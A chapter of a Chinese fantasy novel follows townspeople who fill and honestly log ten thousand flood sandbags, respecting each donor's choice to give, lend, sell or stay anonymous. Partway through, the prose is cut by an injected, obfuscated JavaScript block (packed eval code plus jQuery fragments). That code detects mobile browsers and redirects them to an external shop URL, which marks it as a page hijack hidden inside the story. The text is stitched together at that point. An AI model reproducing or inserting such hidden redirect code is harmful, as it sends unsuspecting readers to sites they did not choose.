第一艘沉船上岸以后，主坝争得一刻喘息。
第二艘卡在更深河槽，短时无法起吊；第三艘则被剑压打碎，命砂已经散入水底。冯七汛决定先加高坝顶，让河水不在下一次冲击时漫堤。
需要一万只砂袋。
全城能找到的空袋不足四千。义仓粮袋泡坏后可以用，盐袋遇水易烂，问剑大会装香料与绸缎的细布袋最结实，却全属于外地商号。
水司发布征用令，曲朝歌拦下。
“征用可以。”曲朝歌说道，“写明数量、原主和偿还时限。”
主簿嫌灾中登记太慢，想统一写“民间布袋若干”。江照夜把无灯县死亡名册放到他面前。一个“若干”最方便，也最容易让灾后所有损失找不到人。
城中设起十二处收袋点。
愿捐者在袋角画圆，愿借者画横，要求现银购买者画三角。不识字也能选择。有人不愿公开姓名，便自取编号；还有人既不要赔偿也不想被称义士，只在袋上画一条空线。
十二处收袋点各用不同色墨，防止同一只袋被重复记账。账房每收一百只便封一页，袋运上坝后由另一组复核。第一轮便查出四十六只虚报：水司仓吏想把往年已经腐烂的库存写成新捐，日后领取补偿。灾还没过去，借灾获利的人已经动手。
仓吏被撤下，仍有两名帮忙缝袋的家属替他说情，因为他答应分粮。江照夜没有将他们算同谋，只让账房记录是否拿过钱、是否知道虚报。放大贪婪的是灾中机会，不是某种能让所有人免责的妖气。
名字不是为了强迫所有人留名。
可以选择无名，不能被别人写成无名。
陆青禾带镖师负责运袋。她发现同一户商号送来的两百只袋全标“捐”，掌柜却私下说只是借。伙计为了给东家挣名声改了记号。陆青禾让全部退回重标，不因救灾急便替掌柜接受一场并未同意的慷慨。
另一边，贫户送来十只旧衣缝袋，针脚不牢。收袋人怕得罪好意，准备照收。韩燕回当场灌砂试压，三只裂开。她让缝工加固，其余七只才入堤。善意需要检验，否则破袋会在洪峰里害死身后的人。
沙从哪里取也成问题。
装砂的人分成四班，每班一刻轮换。起初壮丁包揽铲砂，妇人与老人只缝袋，后来发现抬运最缺会控制重心的人。几名常挑盐担的妇人改用扁担两袋一组，比年轻男子走得更稳。分工没有按男女先写好，而是在实际受力里不断调整。
午饭只有稀粥。一个商户捐来肉包，数量只够三百。水司想优先发给推主绞盘者，韩燕回主张按连续工时，最后由各班自己报休息情况。有人虚报被同伴拆穿，也有人把包让给受伤者。没有一套分法能让所有人满意，至少决定过程没有藏在官帐后。
白沙浅滩已经被水淹，只能挖城西高地。那里是七姓祖坟迁骨后的暂存处，芦湾人不同意。白沙城有人指责他们既已让田被淹，何必还守一片砂。芦湾水老把迁骨名册摆出来：二十三具尚未来得及安置，挖砂会混入遗骨。
众人改挖问剑台下的垫砂。
台基属于两宗，弟子持剑阻拦。古碑乱剑记录尚未洗清，他们不敢伤人，只说拆台会毁大会。商贩、盐户和芦湾村民共同署名，愿灾后按可用旧料重建一座普通比剑台，不赔金丝帷幕。
两宗没有同意。
百姓仍开始拆，因为台基垫砂原由水司防汛仓调出，调用手续违法。年轻书吏拿着原仓单站在最前，每拆一车便记一车，日后若州府判他们赔，也有明确数量。
江照夜没有挥剑开路。她和所有人一样装砂。
右腕不适合扎袋，她负责用短铲定量。每袋八十斤，太轻挡不住水，太重抬运者容易伤腰。知力让她能感觉铲柄和砂重，却仍需秤校正。最初十袋有三袋超重，她便把“江照夜装袋”旁的数改掉，重新分砂。
消息传到东岸后，问剑客开始议论：曾经的照雪宗大师姐沦落到装沙袋。有人把这当作羞辱，也有人将她描绘成亲力亲为的救世仙子。
江照夜两种都不认。
她装袋是因为此刻缺装袋的人，不是跌落，也不是圣迹。旁边一个十三岁女孩比她装得更快，称砂几乎不差。账上便照实记女孩四十二袋，江照夜三十一袋。
午后，功德表忽然从河面升起。
表上试图把所有沙袋改写为“万民感召，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930284|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
献砂助江照夜镇洪”。袋角的不同记号随即发亮，捐、借、买与匿名选择彼此冲突，金字无法合并。它改写第一百只，第二百只又以借契反驳；吞掉一个姓名，空线袋则明确写着本人自愿不署。
功德表第一次被一万份琐碎记录卡住。
金字转而尝试把袋上标记全部抹成“万民”。书吏便在堤后念出每一百袋的来源，不求全城听见，只让声音与实物同时存在。念到匿名空线时，他不擅自编名，只说“本人选择不署”。无名也成为一个被尊重的决定，而非记录者偷懒留下的空白。
曲朝歌试着用普通笔临摹功德表，笔尖每到“感召”二字便被金光推开。他改写成“参与原因不一”，纸终于能承墨。天命需要所有人因主角而来，真实却允许有人为自家门、为工钱、为仇怨，也有人只是正好在场。
曲朝歌望着那些袋角，忽然说：“天命司最怕的不是反抗。”
“是什么？”陆青禾问道。
“无法归类。”曲朝歌回答。
天命能把反抗者写成反派，把牺牲者写成垫脚石，却很难处理一万个人各自带条件的参与。它需要故事简洁，人间偏偏不肯整齐。
第二次洪峰抵达前，一万零七十三只砂袋垒上主坝。
七十三只多出的没有被删作尾数，另堆在第三段备用。每一只袋角仍露在外面，墨迹、图形与歪斜针脚组成一条杂乱堤面。
水撞上来时，所有名字一齐被浸湿。
没有一个被冲成“若干”。
洪峰过后，有些墨仍旧化开。收袋人便按颜色、针脚和批次册补认，不为了维护完美记录假称字迹无损。十七只袋最终无法辨主，被列作“来源未复核”，而不是随手归到江照夜或水司名下。记录也会失败，诚实承认失败比编出完整更重要。
一名选择匿名的商户后来反悔，想公开自己的三百只袋换取免税。账房允许他凭针脚证明后补名，却没有倒改救灾时的选择，只在其后注明“灾后申请署名”。他可以改变心意，不能把后来想要的名声写成当初便有的动机。
那一笔改动也由他自己按印确认。
洪水退去后，指印仍留着。